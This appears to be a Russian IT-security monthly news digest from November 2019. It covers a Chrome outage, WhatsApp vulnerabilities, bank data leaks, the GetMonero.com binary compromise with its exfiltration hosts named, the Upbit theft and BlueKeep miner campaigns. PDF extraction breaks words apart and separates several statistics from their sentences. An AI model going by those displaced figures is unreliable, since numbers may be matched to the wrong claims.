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НЕУДАЧНЫЙ CHROME
Жур налис ты  изда ния  ZDNet  обра тили  вни мание  на  инте рес ный  инци дент,
про изо шед ший в  этом месяце:  экспе римент  ком пании Google  выз вал  вол ну
негодо вания сре ди кор поратив ных поль зовате лей. У мно жес тва людей прак‐ 
тичес ки  перес тал  работать  Chrome,  показы вая  «белый  экран  смер ти»
(WSOD).  Проб лема  про яви лась  толь ко  на  тер миналь ных  сер верах,  работа‐ 
ющих под управле нием Windows Server.

Все началось 13 нояб ря 2019 года. Форум под дер жки Google, баг‐тре кер
Chrome  и  Reddit  ста ли  пол нить ся  сооб щени ями  от  сис темных  адми нис тра‐ 
торов, заяв ляющих о мас совых проб лемах в работе с Chrome. Пос тра дав шие
утвер жда ли, что вклад ки в Chrome вне зап но ста ли пус тыми и демонс три рова‐ 
ли WSOD, из‐за чего бра узе ром не мог ли поль зовать ся тысячи сот рудни ков,
ведь активная вклад ка пус тела пря мо во вре мя работы. В кор поратив ных сре‐ 
дах сот рудни ки поп росту не мог ли сме нить бра узер и фак тичес ки лишились
воз можнос ти выпол нять свои обя зан ности.

Ад минис тра торы  ком паний  и  орга низа ций  жалова лись,  что  пос тра дали
тысячи сот рудни ков, а на попыт ки устра нить проб лему пот рачено мно жес тво
часов.  Некото рые  и  вов се  соч ли,  что  пус тые  вклад ки  —  это  приз нак  ата ки
мал вари, и экс трен но запус тили аудит безопас ности в сво их сетях. Разуме‐ 
ется, все это не мог ло не вылить ся в финан совый ущерб.

Как  ока залось,  при чиной  мас сового  сбоя  стал  экспе римент  инже неров
Google. Они тес тирова ли фун кцию WebContents Occlusion, которая при оста‐ 
нав лива ет  работу  вкла док  в  Chrome,  ког да  поль зователь  переме щает  окна
дру гих  при ложе ний  поверх  Chrome  и  активная  вклад ка,  по  сути,  ста новит ся
фоновой.  Как  нет рудно  догадать ся,  фун кция  пред назна чена  для  улуч шения
про изво дитель нос ти  бра узе ра  и  опти миза ции  исполь зования  ресур сов.
Рань ше она  тес тирова лась  в Chrome Canary  и Chrome Beta,  но  теперь раз‐ 
работ чики  решили  вклю чить  ее  в  ста биль ной  вет ке,  что бы  соб рать  боль ше
дан ных.  Сна чала  фун кцию  акти виро вали  на  месяц  при мер но  для  1%  поль‐ 
зовате лей  в  ста биль ных  релизах M77  и M78,  а  ког да  проб лем  не  воз никло,
вклю чили и для всех осталь ных.

К  сожале нию,  выяс нилось,  что  при  работе  на  тер миналь ных  сер верах
под управле нием Windows Server воз ника ет ошиб ка: вмес то того что бы при‐ 
оста новить  работу  вкла док  при  перек лючении  на  дру гое  при ложе ние,  бра‐ 
узер пол ностью выг ружал эти вклад ки, оставляя лишь пус тые стра ницы.

В  нас тоящее  вре мя  раз работ чики  Chrome  уже  оста нови ли  экспе римент
и сроч но переда ли новый файл кон фигура ции всем поль зовате лям бра узе ра
с помощью сис темы Finch, поз воля ющей им изме нять нас трой ки в активных
уста нов ках Chrome. Тем, для кого исправ ление не сра бота ло, рекомен дует ся
вруч ную отклю чить сле дующие экспе римен таль ные нас трой ки:
• chrome://flags/#webcontentsocclusion

• chrome://flags/#calculatenativewinocclusion

Од нако  такое  решение  проб лемы  спро воци рова ло  еще  боль шее  воз‐ 
мущение  сис темных  адми нис тра торов.  Мно гие  даже  не  подоз ревали,  что
инже неры Chrome могут про водить подоб ные экспе римен ты, не говоря о том,
что  они  могут  отправ лять  любые  изме нения  в  бра узе ры  поль зовате лей
без пред варитель ного одоб рения. ZDNet цитиру ет сооб щения пос тра дав ших
адми нис тра торов:

«Вы  видите,  какое  воз дей ствие  ока зали  на  тысячи  из  нас
без  каких‑либо  пре дуп режде ний  или  объ ясне ний?  Мы  не  ваши
подопыт ные.  Мы  пре дос тавля ем  про фес сиональ ные  услу ги  для  мно- 
гомил лион ных  прог рамм.  Вы  понима ете,  сколь ко  часов  было  пот- 
рачено впус тую из‑за вашего „экспе римен та“?»

«Сколь ко  десят ков  тысяч  дол ларов  это  „упс“  будет  всем  сто ить?
Это уже выг лядит как весь ма круп ная ошиб ка со сто роны Google».

 ПОИС КОВЫХ ЗАП РОСОВ В СУТ КИ50 000 000

Раз работ чики поис ковика DuckDuckGo, основны ми прин ципами которо го называ ют кон фиден‐ 
циаль ность и ано ним ность, подели лись офи циаль ной ста тис тикой. Так, в нояб ре текуще го года
поис ковик пре одо лел отметку в   поис ковых зап росов в сут ки. То есть за пос ледний
год (с нояб ря 2018‐го по ноябрь 2019‐го) чис ло зап росов уве личи лось поч ти на  .

50 000 000
19 000 000

Кро ме  того,  если  в  2010  году  общее  количес тво  зап росов  рав нялось  все го  ,  то
в 2019‐м, который еще не закон чился, это зна чение уже перева лило за  .

16  000  000
11 000 000 000

И СНОВА WHATSAPP
В  мес сен дже ре  WhatsApp  устра нили  кри тичес кую  ошиб ку,  при  помощи
которой  зло умыш ленни ки  мог ли  уда лен но  ском про мети ровать  устрой ство
и похитить защищен ные сооб щения чата и фай лы поль зовате ля.

Уяз вимость  име ет  иден тифика тор  CVE‐2019‐11931  и  пред став ляет  собой
проб лему  перепол нения  буфера  сте ка.  Ошиб ка  воз никала  из‐за  того,
как  WhatsApp  пар сил  эле мен тарный  поток  метадан ных  в  фай лах  MP4.
Это давало зло умыш ленни кам воз можность устро ить DoS‐ата ку или уда лен но
выпол нить про изволь ный код.

Все, что тре бова лось для уда лен ной экс плу ата ции бага, — знать телефон‐ 
ный  номер  цели  и  отпра вить  ей  через  WhatsApp  вре донос ный  файл  MP4.
Такой  файл  мог  при водить  к  авто мати чес кой  уста нов ке  бэк дора  или  шпи‐ 
онско го  при ложе ния  на  ском про мети рован ное  устрой ство,  фак тичес ки
переда вая кон троль в руки ата кующих.

Уяз вимость зат рагива ла WhatsApp для всех основных плат форм, вклю чая
Google  Android,  Apple  iOS  и  Microsoft  Windows.  По  информа ции  ком пании
Facebook,  которой  при над лежит  мес сен джер,  спи сок  уяз вимых  вер сий  выг‐ 
лядит сле дующим обра зом:

Android вер сии до 2.19.274;•
iOS вер сии до 2.19.100;•
Enterprise Client вер сии до 2.25.3;•
Windows Phone вер сии до 2.18.368 вклю читель но;•
Business for Android вер сии до 2.19.104;•
Business for iOS вер сии до 2.19.100.•

По ка неиз вес тно, исполь зовалась ли уяз вимость зло умыш ленни ками до того,
как раз работ чики выпус тили обновле ние. Инте рес но,  что проб лема во мно‐ 
гом похожа на дру гую недав но обна ружен ную в WhatsApp  , из‐за
экс плу ата ции  которой  Facebook    с  иском  про тив  изра иль‐ 
ской  ком пании  NSO  Group,  занима ющей ся  раз работ кой  и  про дажей  шпи‐ 
онских  решений  и  так  называ емой  легаль ной  мал вари.  Дело  в  том,  что,
по дан ным Facebook, сот рудни ки NSO Group не толь ко зна ли о том баге, но и
исполь зовали  его  для  ком про мета ции  устрой ств  более  чем  1400  человек
в Бах рей не, Объ еди нен ных Араб ских Эми ратах и Мек сике.

уяз вимость
об ратилась  в  суд

Ху же того, спе циалис ты Trend Micro обна ружи ли, что исправ ленная в мес‐ 
сен дже ре уяз вимость опас на и для мно жес тва дру гих при ложе ний. Баг отно‐ 
сит ся  к  клас су  double‐free  и  получил  иден тифика тор CVE‐2019‐11932. Проб‐ 
лема поз воля ет уда лен но выпол нять код на устрой ствах с Android 8.1 и 9.0, а в
пре дыду щих  вер сиях  мобиль ной ОС  баг  мож но  исполь зовать  для  про воци‐ 
рова ния отка за в обслу жива нии (DoS).

Проб лема  свя зана  с  опен сор сной  биб лиоте кой  libpl_droidsonroids_gif.so,
которая вхо дит в пакет android‐gif‐drawable и исполь зует ся мно гими при ложе‐ 
ниями для Android при обра бот ке фай лов GIF. И если в WhatsApp баг устра‐ 
нили  с  релизом  вер сии  2.19.244,  то  в  дру гих  при ложе ниях  уяз вимость
по‐преж нему сущес тву ет.

По информа ции иссле дова телей, толь ко в катало ге Google Play по‐преж нему
уяз вимы  более  3000  при ложе ний,  исполь зующих  libpl_droidsonroids_gif.so.
Хуже того, проб лема угро жает и мно гим при ложе ниям из сто рон них  катало‐ 
гов, таких как 1mobile, 9Apps, 91 market, APKPure, Aptoide, 360 Market, PP As‐
sistant, QQ Market и Xiaomi Market.

ПА ВЕЛ ДУРОВ НЕ УПУС ТИЛ ШАНС
Пос ле того как в WhatsApp зак рыли оче ред ную кри тичес кую уяз вимость, поз воля ющую ском‐ 
про мети ровать  устрой ство  и  похитить  защищен ные  сооб щения  чата  и  фай лы  поль зовате ля,
Павел Дуров в который раз выс тупил с кри тикой мес сен дже ра.

→ «WhatsApp не толь ко не защища ет ваши сооб щения, но и пос тоян но исполь зует ся как тро‐ 
янский  конь  для  слеж ки  за  вашими  фотог рафи ями  и  сооб щени ями,  которые  к  WhatsApp
не отно сят ся.

Нев зирая на пос тоян но уси лива ющиеся сви детель ства того, что WhatsApp — это лишь при‐ 
ман ка для людей, которые до сих пор доверя ют Facebook в 2019 году, сущес тву ет воз можность
того, что WhatsApp слу чай но внед ряет кри тичес кие уяз вимос ти во все свои при ложе ния каж дые
нес коль ко месяцев. Но я в этом сом нева юсь, ведь за шесть лет, про шед шие с момен та запус‐ 
ка, у Telegram, похоже го по сво ей слож ности при ложе ния, не было серь езных проб лем на уров‐ 
не  WhatsApp.  Малове роят но,  что  кто‐либо  на  регуляр ной  осно ве  слу чай но  допус кает  столь
серь езные ошиб ки в области безопас ности, так удоб но под ходящие для слеж ки.

Вне зависи мос ти от истинных намере ний материн ской ком пании WhatsApp [име ется в виду
Facebook.  —  ],  рекомен дации  для  конеч ных  поль зовате лей  все  те  же:  если  вы
не хотите, что бы рано или поз дно все ваши фотог рафии и сооб щения ста ли обще дос тупны, вы
дол жны уда лить WhatsApp со сво его телефо на»

Прим.  ред.

— пишет Дуров в сво ем Telegram‐канале

УТЕЧКИ ДАННЫХ
Но ябрь про дол жил череду уте чек дан ных, обна ружен ных у рос сий ских бан ков
и не толь ко у них. В час тнос ти, в этом месяце ста ло извес тно о «сли тых» дан‐ 
ных поль зовате лей ВТБ и «Аль фа‐бан ка».

Бан ки
В начале нояб ря жур налис ты РБК сооб щили, что в Сети выс тавле на на про‐ 
дажу  информа ция  о  вла дель цах  кре дит ных  карт  «Аль фа‐бан ка»  и  кли ентах
«Аль фаС тра хова ния».  Про давец,  опуб ликовав ший  объ явле ние  на  одном
из спе циали зиро ван ных форумов, заявил, что у него есть све жие дан ные при‐ 
мер но 3500 кли ентов бан ка и око ло 3000 кли ентов «Аль фаС тра хова ния».

В бес плат ном «проб нике»,  который пре дос тавля ет про давец,  три над цать
догово ров  кли ентов  «Аль фа‐бан ка»  и  десять  догово ров  кли ентов  «Аль‐ 
фа‐Стра хова ния».  В  догово рах  содер жатся  фамилия,  имя,  отчес тво,  номер
мобиль ного  телефо на,  пас пор тные  дан ные,  адрес  регис тра ции,  сум ма  кре‐ 
дит ного  лимита  или офор млен ной  стра хов ки,  пред мет  стра хова ния,  а  так же
дата зак лючения догово ра. По сло вам про дав ца, все догово ры «Аль фа‐бан‐ 
ка», которые есть у него в рас поряже нии, офор мле ны в октябре, а база выг‐ 
ружена  22  октября  текуще го  года.  Догово ры,  зак лючен ные  в  «Аль фаС тра‐ 
хова нии», офор мле ны в один день — 8 мая 2019 года.

Жур налис ты РБК про вери ли дос товер ность этой информа ции. При попыт‐ 
ке перевес ти кли ентам бан ка день ги через мобиль ное при ложе ние по номеру
телефо на в 11 слу чаях из 13 име на, отчес тва и пер вые бук вы фамилий в при‐ 
ложе нии сов пали с теми, что ука заны в догово ре, у оставших ся двух номера
телефо нов к кар те бан ка не при вяза ны. Доз вонить ся уда лось до девяти кли‐ 
ентов: боль шинс тво из них, в том чис ле те, кого не уда лось про верить через
мобиль ное  при ложе ние,  под твер дили,  что  недав но  офор мля ли  кре дит ную
кар ту  в  «Аль фа‐бан ке».  Одно му  из  кли ентов  уже  успе ли  поз вонить  мошен‐ 
ники, он заб локиро вал кар ту.

Дан ные кли ентов,  ука зан ные в догово рах «Аль фаС тра хова ния», в резуль‐ 
тате  про вер ки  не  под твер дились.  Часть  догово ров  не  содер жит  ФИО
или  номер  телефо на,  еще  в  нес коль ких  записа ны  оши боч ные  отчес тва
и  пред мет  стра хова ния.  Доз вонить ся  уда лось  толь ко  по  четырем  номерам
из  десяти,  ник то  из  собесед ников  не  смог  в  пол ной  мере  под твер дить
информа цию.

Пред ста вите ли  «Аль фа‐бан ка»  уже  под твер дили  СМИ  факт  утеч ки  пер‐ 
сональ ных дан ных неболь шого количес тва кли ентов. Сооб щает ся, что на дан‐ 
ный момент бан ку дос товер но извес тно о незакон ном рас простра нении пер‐ 
сональ ных  дан ных  15  кли ентов. Банк  уже  про водит  внут реннее рас сле дова‐ 
ние  «по  выяв лению  мас шта ба  инци ден та  и  обсто ятель ств,  в  резуль тате
которых такие дан ные ста ли дос тупны треть им лицам».

«Дос товер но  уста нов лено,  что  воз никно вение  дан ной  ситу ации
не явля ется следс тви ем наруше ния защиты кор поратив ной информа- 
цион ной  сис темы  бан ка.  Утеч ка  не  под верга ет  опас ности  средс тва
на сче тах кли ентов, так как не содер жит никаких дан ных, необ ходимых
для дос тупа к сче там», — под черки вает пред ста витель «Аль фа‑бан ка».

По пав шие  в  откры тый  дос туп  догово ры  дей стви тель но  не  содер жат  номера
карт и CVV‐коды, одна ко утек шие дан ные все рав но могут быть исполь зованы
мошен никами  в  сочета нии  с  при ема ми  соци аль ной  инже нерии  и  фишин га.
Так,  зло умыш ленни ки могут  поз вонить  кли енту  под  видом бан ка  и  выяс нить
све дения, необ ходимые для кра жи денег.

Пред ста витель «Аль фаС тра хова ния» сооб щил РБК, что ком пании «извес‐ 
тно  о  фак тах  раз мещения  в  интерне те  объ явле ний  о  про даже  дан ных
по догово рам стра хова ния элек трон ных устрой ств». «Аль фаС тра хова ние» уже
вве ло  допол нитель ные  меры  безопас ности,  сей час  оно  про водит  рас сле‐ 
дова ние и про веря ет опуб ликован ные дан ные.  «Даль нейшие меры,  которые
будет пред при нимать ком пания, будут опре деле ны на осно вании резуль татов
рас сле дова ния», — добавил он.

Вско ре пос ле это го  газета  «Известия»  сооб щила,  что  в  про даже на  чер‐ 
ном  рын ке  так же  появи лась  информа ция  о  вклад чиках  ВТБ:  в  общей  слож‐ 
ности  5000  строк  дан ных.  Про давец  сооб щил  жур налис там,  что  3000  строк
из  5000  мож но  купить  «из  пер вых  рук»  и  такая  информа ция  будет  сто ить
по 10 руб лей за стро ку. Оставши еся 2000 строк мож но при обрести «из вто‐ 
рых рук» (то есть про давец — не пер вый вла делец) по 6 руб лей за стро ку.

В  фраг менте  базы  дан ных,  который  попал  в  рас поряже ние  «Известий»,
содер жалась  пер сональ ная  информа ция  о  21  вклад чике  ВТБ,  вклю чая
фамилию,  имя,  отчес тво,  домаш ний  адрес,  индекс,  номер  телефо на,
информа цию о сум ме вкла да, а так же адрес элек трон ной поч ты.

«Известия» про вери ли десять записей через мобиль ное при ложе ние бан‐ 
ка,  где  при  перево де  средств  мож но  уви деть  имя  и  пер вую  бук ву  фамилии
кли ента. Ока залось, что номера телефо нов дей стви тель но при вяза ны к сче‐ 
там ВТБ, а дос тупные пер сональ ные дан ные сов пада ют с ука зан ными в дам‐ 
пе. При этом жур налис там уда лось опе ратив но свя зать ся с четырь мя вклад‐ 
чиками,  которые  под твер дили  свои  имя  и  наличие  депози та  в  финан совой
орга низа ции на дан ный момент. Один из кли ентов ска зал, что сум ма вкла да
дей стви тель но сов пада ет с ука зан ной в тес товом фраг менте.

Пред ста вите ли ВТБ уже про вели рас сле дова ние слу чив шегося и под твер‐ 
дили факт утеч ки:

«Было  выяс нено,  что  эти  све дения  были  акту аль ны  по  сос тоянию
на 2016 год. Банк свя зал ся со все ми кли ента ми, чья лич ная информа- 
ция  мог ла  быть  ском про мети рова на,  пре дуп редил  о  слу чив шемся
и  при нес  свои  изви нения.  Их  информа цион ной  безопас ности  ничего
не  угро жает.  Обра щаем  вни мание,  что  утеч ка  не  содер жит  никаких
дан ных,  необ ходимых  для  дос тупа  к  сче там»,  —  сооб щили  пред ста- 
вите ли бан ка.

Так же в бан ке отме тили, что в ком пании сущес тву ет сис тема раз гра ниче ния
прав  дос тупа  к  информа ции  и  «на  регуляр ной  осно ве  осу щест вля ется  жес‐ 
ткий  кон троль  дей ствий  поль зовате лей  при  работе  с  кон фиден циаль ными
дан ными».

Про чие
Од нако  толь ко  бан ками  дело  не  огра ничи лось.  Так же  в  этом  месяце  ста ло
извес тно,  что  утеч ки  поль зователь ских  дан ных  допус тили  еще  нес коль ко
орга низа ций:
• СМИ  замети ли  утеч ку  дан ных  поль зовате лей  пор тала  для  поис ка  работы
Job in Moscow

• Ком пания OnePlus сооб щила об утеч ке поль зователь ских дан ных
• Об наружи лось, что сот рудник Trend Micro про давал поль зователь ские дан‐ 
ные ска мерам

• Фо румы ZoneAlarm были ском про мети рова ны из‐за уяз вимос ти в vBulletin

БОЛЬ ШОЙ БРАТ СЛЕ ДИТ ЗА ТОБОЙ
Сог ласно отче ту неп равитель ствен ной орга низа ции Freedom House, которая занима ется иссле‐ 
дова ниями полити чес ких и граж дан ских сво бод, в интерне те сле дят прак тичес ки за все ми. Так,
све жий отчет экспер тов был пос вящен кибер шпи она жу и слеж ке, которой ежед невно под верга‐ 
ются рядовые поль зовате ли.

 из   изу чен ных стран (око ло  ) орга низо вали ком плексную слеж ку за поль зовате лями
в соци аль ных сетях.
40 65 62%

Это озна чает, что под наб людени ем находят ся   поль зовате лей интерне та, то есть при мер‐ 
но   человек.

89%
3 000 000 000

 был наз ван стра ной с наибо лее огра ничен ной сво бодой, а сле дом за ним в спис ке идут
 и  .
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В   за всем про исхо дящим в Сети прис таль но сле дят при мер но    доб роволь цев,
отчи тыва ющих ся влас тям.

Ира не 42 000

КРИПТОВАЛЮТНЫЕ
ВЗЛОМЫ
Но ябрь  2019  года  озна мено вал ся  сра зу  дву мя  круп ными  крип товалют ными
взло мами.

Monero
Офи циаль ный сайт крип товалю ты Monero, GetMonero.com, пре дос тавля ющий
бинар ники для Linux и Windows, был ском про мети рован и рас простра нял мал‐ 
варь, вору ющую средс тва поль зовате лей.

Ин цидент  про изо шел  18  нояб ря  2019  года.  Пер выми  неч то  стран ное
замети ли поль зовате ли, о чем и пос пешили сооб щить на GitHub. Дело в том,
что  хеш  (SHA‐256)  64‐раз рядно го  бинар ника  для  Linux  не  соот ветс тво вал
хешу, ука зан ному на офи циаль ном сай те, а это зна чило, что файл был изме‐ 
нен. Вско ре пос ле это го сооб щения раз работ чики Monero под твер дили факт
ком про мета ции.
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Как  минимум  один  поль зователь  сооб щил  на  Reddit  о  потере  средств
в  резуль тате  дан ной  ата ки,  тем  самым  под тверждая,  что  мал варь  была
нацеле на на кра жу крип товалю ты. «При мер но через девять часов пос ле того,
как я запус тил бинар ник, одна тран закция опус тошила мой кошелек и вывела
все 7000 дол ларов», — писал пос тра дав ший.

Ана лиз  Linux‐мал вари  показал,  что  пос ле  того,  как  поль зователь  открыл
или  соз дал  новый  кошелек,  его  seed  переда вал ся  на  сер вер  node.hash‐
monero.com.  Затем  мал варь  отправ ляла  средс тва  с  кошель ка  на  сер веры
node.xmrsupport.com  и  45.9.148.65.  Вре донос ный CLI‐кошелек  для Windows
дей ство вал прак тичес ки так же.

Раз работ чики  Monero  пока  заняты  рас сле дова нием  слу чив шегося.
Как имен но был ском про мети рован сер вер заг рузок, неяс но, но сооб щает ся,
что  в  нас тоящее  вре мя  опа сать ся  уже  нечего,  пос коль ку  все фай лы  теперь
раз дают ся из резер вно го источни ка.

Upbit
Еще одной жер твой прес тупни ков ста ла южно корей ская крип товалют ная бир‐ 
жа  Upbit.  Неиз вес тные  зло умыш ленни ки  похити ли  342  тысячи  Ethereum
из  горяче го  кошель ка  бир жи,  то  есть  при мер но  48,5  мил лиона  дол ларов
по кур су на момент ата ки.

27  нояб ря  2019  года  Upbit  вре мен но  при оста нови ла  работу,  зап ретив
ввод и вывод средств, а все акти вы бир жи пока были переве дены в холод ные
кошель ки. Сог ласно офи циаль ному заяв лению раз работ чиков, работа ресур‐ 
са дол жна возоб новить ся ори енти ровоч но через две недели. Так же пред ста‐ 
вите ли  бир жи  пообе щали,  что  воз местят  поль зовате лям  весь  ущерб,  хотя
пока не уточ нили, как имен но это будет реали зова но.

На  Reddit  и  в  соци аль ных  сетях  сооб щение  о  взло ме  уже  пос тавили
под сом нение, так как поль зовате ли полага ют, что на самом деле это может
быть  попыт ка  exit  scam’а  или  работа  инсай деров.  В  час тнос ти,  подоз рения
вызыва ет, что хищение про изош ло тог да, ког да Upbit занима лась зап ланиро‐ 
ван ным переме щени ем средств.

 ЧАСОВ ДО ОТКА ЗА РАБОТЫ32 768

Ин женеры Hewlett Packard Enterprise пре дуп редили, что у твер дотель ных накопи телей HPE SAS
с  вер сиями  про шив ки  до  HPD8  выяви лась  неп рият ная  проб лема:  они  могут  отка зать  пос ле

 часов работы (3 года, 270 дней и 8 часов), и ни сам накопи тель, ни дан ные спас ти уже
не удас тся.
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Ба гу  под верже ны  как  отдель ные  про дук ты,  так  и  вклю чен ные  в  сос тав  про чих  решений  ком‐ 
пании, в том чис ле  ,  ,  ,  ,  ,  ,  , 

 и  .
ProLiant Synergy Apollo JBOD D3xxx D6xxx D8xxx MSA Store-

Virtual 4335 StoreVirtual 3200
Пол ный спи сок уяз вимых моделей мож но най ти на  , рав но как и ссыл ку на кри‐ 
тичес ки важ ное обновле ние про шив ки.

сай те ком пании

ЭКСПЛУАТАЦИЯ
BLUEKEEP
ИБ‐экспер ты зафик сирова ли пер вую кам панию, мас сово исполь зующую экс‐ 
пло ит  для  уяз вимос ти  BlueKeep.  К  счастью,  пока  акти вен  не  самораз мно‐ 
жающий ся  червь,  как  ранее  опа сались  экспер ты:  при  помощи  уяз вимос ти
рас простра няет ся лишь крип товалют ный май нер.

На пом ню, что кри тичес кая уяз вимость CVE‐2019‐0708  (она же  ),
свя зан ная с работой Remote Desktop Services (RDS) и RDP, была исправ лена
Microsoft еще в мае текуще го года. С помощью это го бага ата кующие могут
выпол нять  про изволь ный  код без  авто риза ции и  рас простра нять  свою мал‐ 
варь подоб но чер вю,  как, нап ример, было с извес тны ми вре доно сами Wan‐
naCry и NotPetya. Проб лема опас на для Windows Server 2008, Windows 7, Win‐
dows  2003  и  Windows  XP,  для  которых,  из‐за  серь езности  угро зы,  были
выпуще ны обновле ния безопас ности.

BlueKeep

В сен тябре текуще го года раз работ чики Metasploit   в откры‐ 
том  дос тупе  демонс тра цион ный  экс пло ит  для BlueKeep,  и  теперь  зло умыш‐ 
ленни ки исполь зуют имен но это решение.

опуб ликова ли

Об наружен ная  спе циалис тами  вре донос ная  кам пания  ока залась  активна
с  23  октября  2019  года,  и  пер вым  ее  заметил  извес тный  бри тан ский  спе‐ 
циалист Кевин Бомонт (Kevin Beaumont). Ата ку зафик сирова ли honeypot‐сер‐ 
веры, соз данные им мно го месяцев назад, о которых даже сам эксперт уже
успел забыть. Вско ре наб людение Бомон та под твер дил и дру гой эксперт —
Мар кус  «MalwareTech» Хат чинсон,  который, в  час тнос ти, известен бла года ря
тому, что оста новил эпи демию WannaCry.

Как уже было ска зано, воп реки опа сени ям спе циалис тов, пока экс плу ата‐ 
ция BlueKeep сов сем не похожа на эпи демии, подоб ные WannaCry, NotPetya
и  Bad  Rabbit.  Дело  в  том,  что  пока  зло умыш ленни ки  не  исполь зуют  воз‐ 
можнос ти  BlueKeep  для  соз дания  саморас простра няющей ся  угро зы.
По‐видимо му,  сей час  хакеры  находят  уяз вимые  Windows‐сис темы  с  откры‐ 
тыми пор тами RDP, исполь зуют экс пло ит раз работ чиков Metasploit и уста нав‐ 
лива ют таким обра зом май нер крип товалют.

Так же Бомонт пишет, что пока ата ки, похоже, не работа ют как дол жно: они
лишь  вынуди ли  10  из  11  «при манок»  ава рий но  завер шить  работу.  Об  этом
на про тяже нии пос ледних месяцев не раз говори ли ИБ‐спе циалис ты: экс пло‐ 
ит  труд но зас тавить работать  как нуж но,  не про воци руя при этом воз никно‐ 
вение BSOD. Инте рес но,  что  недав но  появи лась  информа ция,  буд то  в  ско‐ 
ром вре мени   таким обра зом, что бы
не вызывать BSOD.

экс пло ит будет исправ лен и перера ботан

Пос ле сооб щения о пер вых ата ках экспер ты Microsoft пос пешили пре дуп‐ 
редить,  что  в  будущем  нас  явно  ожи дают  более  раз рушитель ные  ата ки,
исполь зующие BlueKeep, и рас слаб лять ся пока рано.

«Хотя  на  момент  написа ния  этой  статьи  не  было  совер шено  дру гих
атак,  свя зан ных  с  вымога теля ми  и  дру гим  вре донос ным  ПО,  через
экс плу ата цию  BlueKeep,  ско рее  все го,  будут  дос тавлять ся  и  дру гие
полез ные наг рузки, более эффектив ные и раз рушитель ные, чем май- 
неры.  BlueKeep  мож но  экс плу ати ровать,  не  оставляя  явных  сле дов,
и  поль зовате ли  дол жны  тща тель но  про верять  сис темы,  которые  уже
могут  быть  зараже ны  или  ском про мети рова ны»,  —  пре дуп режда ют
экспер ты  в  офи циаль ном бло ге  ком пании,  еще раз  напоми ная поль- 
зовате лям о необ ходимос ти сроч но уста новить исправ ления.

Хо тя для  уста нов ки исправ лений  у  ком паний и поль зовате лей были месяцы,
BlueKeep  по‐преж нему  пред став ляет  опас ность,  так  как  в  Сети  до  сих  пор
нас читыва ется  поряд ка  750  тысяч  уяз вимых Windows‐сис тем  (не  счи тая  тех,
что рас положе ны внут ри час тных сетей, за бран дма уэра ми).

ЭД ВАРД СНО УДЕН СТА ВИТ ВОП РОСЫ
Эд вард Сно уден  выс тупил  по  виде освя зи  на  сам мите Web Summit,  про шед шем  в  Лис сабоне
в начале нояб ря. Там он тра дици онно мно го говорил о при ват ности, проб лемати ке сбо ра дан‐ 
ных  и  рас тущей  мощи  интернет‐кор пораций.  Так же  Сно уден  отме тил,  что  соз дание  Обще го
рег ламен та по защите дан ных (GDPR) — на деле не решение, а пока лишь бес полез ный «бумаж‐ 
ный тигр».

→ «Как  быть,  если  самые  вли ятель ные  инсти туты  в  общес тве  ста ли  наиме нее  ответс твен‐ 
ными?

Ког да мы  наб люда ем,  что  пра витель ства  и  кор порации  работа ют  сооб ща,  мож но  видеть,
как  зарож дает ся  некая  совокуп ность,  ни  один  из  учас тни ков  которой  не  дей ству ет  по‐нас‐ 
тояще му незави симо или кон фрон таци онно, ско рее они ста новят ся левой и пра вой рукой одно‐ 
го и того же тела.

Ес ли  вы  соз даете  неодо лимую  силу,  незави симо  от  того,  при над лежит  она  Facebook
или какому‐либо пра витель ству, воп рос в том, как вы собира етесь кон тро лиро вать про явле ния
этой силы, ког да она будет исполь зована про тив общес тва, а не ради его бла га»
— заявил Сно уден

НА СТРАЖЕ
GOOGLE PLAY
Ком пании Google,  ESET,  Lookout  и  Zimperium объ яви ли  о  соз дании  App De‐
fense  Alliance,  чьей  целью,  как  сле дует  из  наз вания,  ста нет  выяв ление  вре‐ 
донос ных  при ложе ний  и  защита  поль зовате лей.  Ком пании  объ еди нят
механиз мы  обна руже ния  угроз  и  в  ито ге  улуч шат  механиз мы  про вер ки
безопас ности,  которые  Android‐при ложе ния  про ходят  перед  пуб ликаци ей
в Play Store.

В  нас тоящее  вре мя,  ког да  раз работ чик  соз дает  при ложе ние  для  Android
и отправ ляет его на рас смот рение для пуб ликации, оно изу чает ся толь ко сот‐ 
рудни ками Google, с помощью сис тем Bouncer и Google Play Protect.

Хо тя в прош лом пред ста вите ли IT‐гиган та уве ряли, что защита Play Protect
отлично работа ет, спе циалис ты с ними не сог лашались. К при меру, по дан‐ 
ным  AV‐TEST,  на  Google  Play  Protect  вряд  ли  мож но  положить ся:  сис тема
Google бло киру ет лишь 62% вре донос ных фай лов во вре мя  тес тов в реаль‐ 
ном  вре мени,  тог да  как  сред ний  показа тель  сре ди  защит ных  решений
равен 97,8%.

В  резуль тате  в  офи циаль ный  каталог  при ложе ний  то  и  дело  про ника ет
мал варь,  обхо дя  все  про вер ки.  К  при меру,  вре донос  может  заг ружать ся
на устрой ство жер твы поз днее, уже пос ле того, как поль зователь уста новил,
казалось  бы,  без вред ное  при ложе ние.  Или  мал варь  может  быть  осна щена
спе циаль ным  тай мером  и  начина ет  вре донос ную  активность  лишь  спус тя
нес коль ко часов или даже дней пос ле уста нов ки. Так, по дан ным спе циалис‐ 
тов ESET, толь ко в сен тябре 2019 года в Play Store было обна руже но 172 вре‐ 
донос ных при ложе ния, которые нас читыва ли более 335 952 400 заг рузок.

Те перь  в  Google  наконец  решили  приз нать  сущес тво вание  проб лемы,
и  для  ее  решения был  соз дан App Defense Alliance,  в  рам ках  которо го  сис‐ 
темы обна руже ния Google Play Protect будут интегри рова ны с анти вирус ными
решени ями пар тне ров.

«ШКОЛЬ НЫЙ» DDOS

Эк спер ты  «Лабора тории  Кас пер ско го»  обна родо вали  ста тис тику  о  тен денци ях  в  раз витии
DDoS‐атак в треть ем квар тале 2019 года. Как ока залось, общее чис ло DDoS‐атак уве личи лось
на треть ( ) по срав нению с ана логич ным пери одом 2018 года.32%

Пи ковым месяцем квар тала стал сен тябрь — за 30 дней в начале осе ни было зафик сирова но
 всех DDoS‐атак в отчетном пери оде. Что  харак терно, более полови ны этих атак  ( )

были нап равле ны на ресур сы, свя зан ные со сфе рой обра зова ния:  ,
 и так далее.

53% 60%
элек трон ные днев ники

сай ты обра зова тель ных учрежде ний

По мне нию  ана лити ков,  при чина  оче вид на:  уча щиеся  вер нулись  в шко лы  и  с  боль шой  долей
веро ятности мог ли орга низо вать ата ки из  хулиган ских побуж дений. При меча тель но,  что 

 ока залась в топе стран, где были обна руже ны DDoS‐ата ки на обра зова тель ные ресур сы.
Рос- 

сия

Са мая длин ная ата ка про шед шего квар тала про дол жалась   часов (  суток) и была нап‐ 
